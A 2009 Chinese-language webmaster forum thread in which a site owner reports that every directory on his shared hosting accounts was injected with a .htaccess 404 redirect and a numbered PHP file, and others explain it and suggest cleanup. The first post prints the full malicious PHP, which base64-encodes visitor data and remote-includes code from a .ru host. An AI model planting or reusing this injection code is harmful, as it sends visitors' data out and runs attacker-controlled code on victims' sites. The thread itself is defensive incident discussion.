#1
|
||||
|
||||
共享服务器下所有的网站都被注入恶意代码,请有经验的朋友帮忙回答一些问题。先谢过!
我最近发现我在一个共享服务器下的所有网站的所有根目录下,都出现了两个文件:一个.htaccess文件,一个随机数字文件名的.php文件。例如:
1. 121521.php,代码如下 error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);} 2. .htaccess 代码如下 Options -MultiViews ErrorDocument 404 //rootdir/sales/0309/0309/121521.php 我搜索了一下google,发现从2006年就开始有很多帖子在谈论这个被注入恶意代码的问题。这些代码通常都是通过开源软体比如WP,PHPBB等注入的(看来随时升级真的很必要)。 通常共享服务器上的一个网站通过程序被注入后,这个服务器上所有的网站都会被传播注入。 这些代码都被加密了,decode后基本都是和xmldata.info或7.phpsearch.cn这类网站有关。这些网站都是一些关于网络流量的赚钱公司。我看到一些帖子里有提到这些恶意代码的含义是监控网站的404访问页面被访问情况。还有人提到这是利用搜索引擎来访问到这些文件,从而通过PPC获利(我也不了解究竟怎么样能够实现这个目的?)。这类网站上面描述的是: 引用:
1. 这些代码的用途是什么? 2. 被注入恶意代码的网站会受到什么程度的影响?比如:hacker会否获得我网站ftp,mysql甚至hosting的帐户信息? 3. 看起来在没有安全备份的情况下,没有什么办法可以轻松清除掉这些文件。那么在一个一个清除所有目录下的这些恶意文件之前,还需要做什么来防止它们重新生成?我看到一些讨论里写到注入文件的目录均为777具有写权限,只要把所有目录权限设置为755就可以解决了,也有人跟贴说确实设置为755就解决了。但我所有755权限的目录也都被注入了这两个文件... 4. 除了.htacess和数字.php文件外,是否还有其他文件被感染?比如根目录下的.htaccess文件内容,或其他php文件。 此外,我看到有些网站提到可以通过关闭register_globals来防止被注入这类恶意代码,但是我在根目录下的.htaccess中添加 php_flag register_globals 0 之后,网站就出现内部错误提示无法访问了。 问题比较多,sorry,请对此有了解的版友不吝赐教,谢谢。同时提醒一下版友们也都检查一下自己的网站是否有这个问题。 更新一下: 我有三个shared hosting,分属不同hosting公司的,刚全部检查了一下,其中两个服务商的服务器下所有的网站都发现了这个问题。
__________________
DomainName.com 此篇文章於 2009-03-09 08:38 AM 被 owntag 編輯。 |
#2
|
||||
|
||||
找到了一段别的网站对这些代码作的注释。
出处参考: http://webmasterhotspot.com/index.php?showtopic=7792 看起来被提到的那家hosing服务商帮用户做了整个server的清除这种恶意文件处理,方便了用户 ... 希望我的服务商也可以 PHP 代碼:
__________________
DomainName.com 此篇文章於 2009-03-09 08:45 AM 被 owntag 編輯。 |
#3
|
|||
|
|||
引用:
1, 这些代码把网站上的 404错误 (即服务器上文件不存在时) 重定向到一个文件, 这个文件调用一个.ru网站上的php, URL 是 bdahbzzazbzgh . users . phpinclude . ru 主要目的像是吸引流量, 如果php中限制了对外域文件的调用, 这样的攻击就不会有效果了. 2, 这个样例中不会出现泄漏. 通过这种方法有泄漏Web环境密码的可能, 影响到web管理员和数据库的密码. 但可操作性难度非常高, 要看运气了. 3, 如果是通过web程序注入, 最好把ftp和httpd的帐号分开, web目录下的文件只开放ftp帐号的写权限(需要注意web服务器至少对 session 的目录, 用户上传的目录有写权限). 如果有 shell 帐号, 删除121151.php 和 .htaccess 这两个文件就可以了, 如果没有shell权限, 可以php实现这个功能. 4, 可以检查其他文件的修改时间是否和 .htaccess 这个文件一致, 或者看其他文件中是否存在特征字符串, 比如: LnVzZXJzLnBocGluY2x1ZGUucnU. 共享服务器还是比较不安全的, 如果一个网站出问题让别人拿到权限,就很容易做这样的破坏了.
__________________
Infrastructure for IT companies 此篇文章於 2009-03-09 03:18 PM 被 edenCC 編輯。 原因: fix typo |
#4
|
||||
|
||||
edenCC兄, 感谢这么详细的回复.
看来要手动删除这些文件了. mini site太多,文件目录也太多,又要花费几个小时在这上面了,5555 不过看了你对2的回复,心里感觉安稳了很多,再次感谢!
__________________
DomainName.com |
#5
|
|||
|
|||
owntag 大大客气了, 承蒙您也多次指点过小弟~
如果确定个人目录下的 121521.php 和 .htaccess 这两个文件都不需要的话, 在shell 帐号下执行这两个命令就可以了. 引用:
引用:
__________________
Infrastructure for IT companies |
#6
|
||||
|
||||
比较郁闷的是,我hosting帐户下所有网站的所有目录,子目录下,都有这两个文件。
而且那个数字.php的数字都是随机数,所以必须一个一个文件手动删除。。。唉,只好边看电视剧边删除了。
__________________
DomainName.com |